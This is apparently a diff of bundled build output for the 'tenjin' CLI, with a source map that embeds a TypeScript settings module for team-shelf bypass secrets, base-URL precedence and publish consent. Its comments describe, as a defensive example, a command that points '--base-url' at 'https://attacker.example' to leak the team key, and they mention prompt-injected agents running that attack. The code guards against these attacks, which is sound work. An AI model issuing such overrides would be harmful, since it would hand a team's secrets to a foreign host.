null;\n}\n"],"mappings":";;;;;;;;;;;;;AAAA,SAAS,aAAa;AACtB,SAAS,WAAW,YAAY,UAAU,cAAc,YAAY,qBAAqB;AACzF,SAAS,eAAe;AACxB,SAAS,MAAM,eAAe;AAyBvB,IAAM,mBAAmB;AACzB,IAAM,kBAAkB;AAE/B,IAAM,SAAS;AAoBR,SAAS,gBAAgB,GAMvB;AACP,MAAI;AACF,UAAM,EAAE,IAAI,IAAI;AAEhB,QAAI,IAAI,OAAO,UAAa,IAAI,GAAG,SAAS,EAAG;AAC/C,QAAI,IAAI,2BAA2B,IAAK;AACxC,UAAM,OAAO,EAAE,QAAQ,QAAQ;AAC/B,QAAI,QAAQ,EAAE,OAAO,MAAM,QAAQ,eAAe,IAAI,CAAC,EAAG;AAC1D,QAAI,CAAC,SAAS,EAAE,OAAO,EAAG;AAE1B,UAAM,OAAO,WAAW,EAAE,OAAO;AACjC,UAAM,QAAQ,iBAAiB,IAAI;AACnC,QAAI,UAAU,KAAM;AACpB,UAAM,OAAO,YAAY,MAAM,MAAM,QAAQ,IAAI;AACjD,UAAM,QAAQ,aAAa,MAAM,MAAM,QAAQ,GAAG;AAClD,QAAI,CAAC,WAAW,IAAI,KAAK,CAAC,WAAW,KAAK,EAAG;AAE7C,UAAM,SAAS,EAAE,OAAO,KAAK,KAAK;AAClC,UAAM,WAAW,eAAe,IAAI;AACpC,UAAM,UAAU,KAAK,MAAM,UAAU,aAAa,EAAE;AAEpD,QAAI,CAAC,OAAO,MAAM,OAAO,KAAK,QAAQ,WAAW,KAAK,QAAQ,UAAU,OAAQ;AAIhF,gBAAY,MAAM,EAAE,GAAG,UAAU,WAAW,IAAI,KAAK,KAAK,EAAE,YAAY,EAA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AAK,GAAG,KAAK,UAAU,QAAQ,MAAM,CAAC,CAAC;AAAA,GAAM,EAAE,MAAM,IAAM,CAAC;AAC1E,aAAW,KAAK,IAAI;AACtB;AAGO,SAAS,eAAe,MAA6B;AAC1D,QAAM,IAAI,eAAe,IAAI;AAC7B,MAAI,MAAM,QAAQ,EAAE,eAAe,OAAW,QAAO;AACrD,QAAM,OAAO,EAAE,WAAW,MAAM,GAAG,EAAE;AACrC,MAAI,EAAE,YAAY,UAAW,QAAO,gBAAgB,IAAI,YAAY,EAAE,IAAI,OAAO,EAAE,EAAE;AACrF,MAAI,EAAE,YAAY,UAAW,QAAO,gBAAgB,IAAI,gBAAgB,EAAE,MAAM,EAAE,IAAI;AACtF,MAAI,EAAE,YAAY,SAAU,QAAO,gBAAgB,IAAI,YAAY,EAAE,UAAU,SAAS;AACxF,SAAO;AACT;","names":[]}
@@ -6,14 +6,16 @@ import {
6
6
  CONFIG_DEFAULTS,
7
7
  PublishModeSchema,
8
8
  SEND_MAX_UNSET,
9
- external_exports,
10
9
  loadRawConfig,
11
10
  resolveSettings
12
- } from "./chunk-YVFXE7RR.js";
11
+ } from "./chunk-2GNOFONN.js";
13
12
  import {
14
13
  PRODUCTION_ORIGIN,
15
14
  isSameDeployment
16
15
  } from "./chunk-XQJXNMSB.js";
16
+ import {
17
+ external_exports
18
+ } from "./chunk-SNNSAGMT.js";
17
19
  import {
18
20
  CliError
19
21
  } from "./chunk-3UCIG4TG.js";
@@ -241,4 +243,4 @@ export {
241
243
  ownedCandidates,
242
244
  projectRoot
243
245
  };
244
- //# sourceMappingURL=chunk-7WU4OPLP.js.map
246
+ //# sourceMappingURL=chunk-AV5NZMYO.js.map
@@ -1 +1 @@
1
- {"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QAAO;AAChC,QAAM,aAAa,UAAU,OAAO,WAAW,gBAAgB,OAAO;AACtE,QAAM,YAAY,UAAU,EAAE,QAAQ,KAAK;AAC3C,MAAI,eAAe,UAAa,cAAc,UAAa,eAAe,WAAW;AACnF,WAAO;AAAA,EACT;AACA,MAAI,CAAC,kBAAkB,YAAY,EAAE,eAAe,KAAK,EAAG,QAAO;AACnE,SAAO,EAAE,QAAQ,YAAY,OAAO;AACtC;AAUO,SAAS,kBAAkB,QAAgB,gBAAiC;AACjF,MAAI,iBAAiB,QAAQ,iBAAiB,EAAG,QAAO;AACxD,QAAM,eAAe,UAAU,cAAc;AAC7C,SAAO,iBAAiB,UAAa,CAAC,iBAAiB,QAAQ,YAAY;AAC7E;AAkBO,SAAS,iBAAiB,QAAgC;AAC/D,QAAM,SAAS,OAAO,qBAAqB,gBAAgB;AAC3D,MAAI,OAAO,WAAW,YAAY,WAAW,GAAI,QAAO;AACxD,QAAM,SAAS,UAAU,OAAO,WAAW,gBAAgB,OAAO;AAClE,MAAI,WAAW,OAAW,QAAO;AACjC,SAAO,kBAAkB,QAAQ,OAAO,kBAAkB,gBAAgB,cAAc;AAC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AAAA,EACR;AACF;AAOA,eAAe,sBAAsB,UAAoC;AACvE,QAAM,MAAM,QAAQ,SAAS;AAC7B,MAAI,QAAQ,OAAW,QAAO;AAC9B,MAAI;AACF,YAAQ,MAAM,KAAK,QAAQ,GAAG,QAAQ;AAAA,EACxC,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAGA,eAAsB,WAAW,MAAgC;AAC/D,MAAI;AACF,UAAM,KAAK,IAAI;AACf,WAAO;AAAA,EACT,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAQA,SAAS,oBAAoB,UAAoC;AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
1
